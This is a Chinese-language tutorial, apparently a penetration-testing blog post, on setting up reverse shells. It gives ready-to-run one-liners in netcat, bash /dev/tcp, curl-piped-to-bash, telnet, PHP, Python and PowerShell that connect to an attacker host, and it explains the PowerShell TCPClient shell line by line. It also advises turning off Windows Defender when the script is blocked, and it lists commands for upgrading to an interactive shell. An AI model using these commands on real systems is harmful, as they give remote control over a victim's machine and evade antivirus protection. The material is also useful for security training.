反向shell 是一種用於在目標系統上建立與攻擊者系統的通訊連接的技術。這種技術通常應用於一些特殊情況下:
- 防火牆限制:當目標系統處於一個防火牆嚴格的環境中,只能發送請求而無法接收請求時,反向 shell 提供了一種能夠讓攻擊者主動連接到目標系統的方法。
- 連接埠被佔用:有時目標系統的某些連接埠可能已被佔用,無法直接用於建立連接。在這種情況下,反向shell 可以通過建立與目標系統的出站連接來繞過這些限制。
- 動態IP或內網環境:當目標系統位於內部網絡或其IP地址具有動態變化時,攻擊者無法直接連接到目標系統。透過反向shell 技術,攻擊者可以在目標系統主動連接到其控制的伺服器。
- 環境不確定性:對於病毒、木馬等攻擊手段,攻擊者難以預測受害者的網絡環境和行為。反向shell 提供了一種穩定的通訊機制,無需事先了解目標系統的細節。
反向shell 的實現方式有多種,具體取決於目標系統的環境和可用的工具。例如,可以利用 netcat、Python 或 PHP 等語言和工具來實現反向shell。攻擊者需要根據目標系統的特點選擇最適合的反向shell 方式
反向shell 監聽主機
建立反向shell前,要先準備好監聽的主機
以nc為例,格式為: nc -l -v -p [ listen IP] < listen port > , 說明如下
l
:監聽模式 (listen mode)。這是指定netcat
監聽指定的連接埠。v
:詳細模式 (verbose mode)。這使netcat
提供詳細的資訊輸出,幫助使用者了解連接和資料傳輸的詳細情況。p
:連接埠 (port)。指定netcat
要監聽的連接埠。
舉例如下
# nc -l -p 8888
# nc -lvp 8888
接著就可以用以下方式在受害主機上連線
- netcat
- bash
- curl
- php
- powershell
當受害主機訪問時,監聽端的nc就會顯示類似這樣的訊息 connect to [192.168.1.1] from (UNKNOWN) [192.168.1.100] 58676
,接著就可以在監聽端這邊下指令控制受害主機
反向shell常用資源
- 各種反向shell範例https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- Reverse Shell Generator: https://www.revshells.com
netcat
常見的反向shell用法有以下
nc -c /bin/sh <remote IP> <remote Port>
nc < remote ip> <remote port> -e c:\windows\system32\cmd.exe
/bin/sh | nc <remote IP> <remote port>
也可結合PHP語法插入
<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>
bash
常見的反向shell用法有以下
bash -i >& /dev/tcp/<remote IP>/<remote Port> 0>&1
如果出現 zsh: no such file or directory
表示正在用zsh,可以換以下執行,可強制使用bash
bash -c "bash -i >& /dev/tcp/<remote IP>/<remote Port> 0>&1"
指令分別解釋如下
bash -i
產生一個互動shell>&
將聯合符號前面的內容與後面結合,然後一起重定向給後者/dev/tcp/<remote IP>/<remote Port>
讓目標主機與攻擊機<remote IP>
的<remote Port>
埠建立一個tcp連線0>&1
將標準輸入與標準輸出的內容結合,然後重定向給前面標準輸出的內容。
refer
https://xz.aliyun.com/t/9488?time__1311=n4%2BxuDgD9AdWqhDBqDwmDUhDAhODBjo%2FxYwD&alichlgref=https%3A%2F%2Fwww.google.com%2F
curl
透過bash的方式連線
1.先在<remote IP>
的網站index.html內準備以下內容
bash -i >& /dev/tcp/<remote IP>/8888 0>&1
2.然後用curl把<remote IP>
的網站內容下載並執行
curl <remote IP>|bash
telnet
方法1
在受害主機內執行以下
mknod a p; telnet <remote IP> 8888 0<a | /bin/bash 1>a
方法2
需要同時監聽2個端口,除了之前監聽的8888外,還要在另外監聽一個Port,例如 nc -lvp 9999
接著在受害主機內執行以下
telnet <remote IP> 8888 | /bin/bash | telnet <remote IP> 8889
php
常見的語法有
php -r '$s=fsockopen("<remote IP>",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
exec可以換成system, shell_exec, passthru, popen
或是用反斜線單引號,如下
php -r '$s=fsockopen("<remote IP>",8888);`/bin/sh -i <&3 >&3 2>&3`;'
python
常見的語法有
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<remote IP>",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Invoke-PowerShellTcp.ps1
此為nishang開發的powershell的腳本,執行方式如下
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Powershell腳本執行策略是預設不允許執行任何腳本,直接執行可能會被禁止,要允許執行可使用管理員身分執行powershell然後執行指令 set-executionpolicy remotesigned
refer
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
https://blog.csdn.net/weixin_42628854/article/details/123990629
https://zhuanlan.zhihu.com/p/38067240
powershell 命令執行
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
指令分別解釋如下
Calling PowerShell
powershell -nop -c
- “nop” 是 “NoProfile” 的縮寫,意思是指在執行 PowerShell 時不加載任何用戶配置文件(profile),包括
$PROFILE
中定義的任何自定義設置。這樣做可以使 PowerShell 在執行時不受用戶配置文件中設置的影響,從而更快速地啟動並執行命令。這對於一些特定的情況,比如需要快速執行一個命令或腳本時,很有用。 - “-c” 是 “Command” 的縮寫,用於指定要執行的命令或腳本塊。當你在 PowerShell 命令行中使用”-c” 選項時,後面可以跟隨一個命令或一段 PowerShell 腳本。例如,
powershell.exe -c "Get-Process"
將執行Get-Process
命令,顯示當前系統中正在運行的進程。
Binding A Socket
$client = New-Object System.Net.Sockets.TCPClient(10.10.14.158,443);
建立了一個新的 TCPClient 物件,用於與指定的 IP 地址和端口建立 TCP 連接。物件的類型是 System.Net.Sockets.TCPClient
,這是 .NET Framework 中用於 TCP 通訊的類。
Setting The Command Stream
$stream = $client.GetStream();
獲取與 $client
物件關聯的網絡流,以便後續的通訊操作。.GetStream()
是 TCPClient 物件的一個方法,用於獲取與 TCP 連接關聯的 NetworkStream 物件。
Empty Byte Stream
[byte[]]$bytes = 0..65535|%{0};
創建了一個長度為 65536 的空的 byte 陣列。
[byte[]]
告訴 PowerShell 將變數$bytes
宣告為一個 byte 陣列。0..65535
生成一個從 0 到 65535 的整數序列。|%{0}
使用管道將每個整數映射為值 0,這樣就創建了一個包含 65536 個元素,每個元素的值都是 0 的 byte 陣列。
Stream Parameters
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
使用 while
循環不斷從 $stream
中讀取數據,直到讀取操作返回的字節數量為 0
$stream.Read($bytes, 0, $bytes.Length)
是一個方法調用,從$stream
中讀取數據並將其存儲到$bytes
陣列中。$i
變數接收此方法調用的返回值,該返回值是實際讀取的字節數量。-ne 0
意味着“不等於 0”。因此,這個條件確保只要Read
方法返回的字節數量不為 0,就會繼續執行循環。
Set The Byte Encoding
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
創建了一個變數 $data
,並將從 $bytes
陣列中讀取的字節數據轉換為 ASCII 字符串存儲在 $data
中。
(New-Object -TypeName System.Text.ASCIIEncoding)
創建了一個 ASCIIEncoding 物件,用於將字節數據轉換為 ASCII 字符串。.GetString($bytes, 0, $i)
是對 ASCIIEncoding 物件的GetString
方法的調用,該方法接受一個字節陣列$bytes
、起始位置索引(0)和要轉換的字節數量$i
。它將$bytes
中的字節數據從指定位置開始轉換為 ASCII 字符串。
Invoke-Expression
$sendback = (iex $data 2>&1 | Out-String );
執行了一個命令或腳本,並將結果存儲在 $sendback
變數中。
iex $data
使用iex
(Invoke-Expression) cmdlet 執行了$data
變數中包含的命令或腳本。2>&1
將標準錯誤流(stderr)重定向到標準輸出流(stdout)。這樣做可以確保無論是標準輸出還是標準錯誤,都會被捕獲並包含在結果中。| Out-String
將命令或腳本的輸出轉換為字符串,這樣可以將輸出的結果儲存到變數中。
Show Working Directory
$sendback2 = $sendback + 'PS ' + (pwd).path + '> ';
將剛剛執行命令或腳本後得到的結果 $sendback
與當前所在目錄的路徑(使用 (pwd).path
獲取)和提示符 “PS ” 以及 “>” 字符串結合,然後將結果存儲在 $sendback2
變數中。
Sets Sendbyte
$sendbyte= ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
將 $sendback2
字符串轉換為 ASCII 編碼的字節序列,然後將這些字節寫入到 $stream
對象所表示的網絡流中,最後將網絡流進行刷新,以確保數據已經被寫入。
([text.encoding]::ASCII).GetBytes($sendback2)
使用text.encoding
類的GetBytes
方法將$sendback2
字符串轉換為 ASCII 編碼的字節序列。$stream.Write($sendbyte,0,$sendbyte.Length)
使用$stream
物件的Write
方法將$sendbyte
中的字節序列寫入到網絡流中,從索引位置 0 開始,寫入$sendbyte.Length
長度的字節數據。$stream.Flush()
將網絡流進行刷新,以確保所有的數據都已經被寫入到流中。
Terminate TCP Connection
$client.Close()"
關閉了之前建立的 TCP 連接
要注意上述指令會被Windows Defender antivirus阻擋,並顯示以下畫面,因此需要先在將防毒暫時關閉
At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
refer
https://blog.csdn.net/weixin_42628854/article/details/123990629
互動SHELL
當我們進入系統 shell 時,我們注意到沒有提示,但我們仍然可以發出一些系統命令。這是一個通常稱為 的 shell non-tty shell
。(有時稱為監獄 shell)
這些 shell 的功能有限,通常會阻止我們使用su
( switch user
) 和sudo
( super user do
) 等基本命令,如果我們尋求升級權限,我們可能會需要這些命令。
因此需要互動SHELL才解決,常見的方法如下
/bin/sh -i
python -c 'import pty; pty.spawn("/bin/sh")'
perl —e 'exec "/bin/sh";'
perl —e 'exec "/bin/sh";'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
awk 'BEGIN {system("/bin/sh")}'
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find . -exec /bin/sh \; -quit
vim -c ':!/bin/sh'
也可以用以下方式
vim
:set shell=/bin/sh
:shell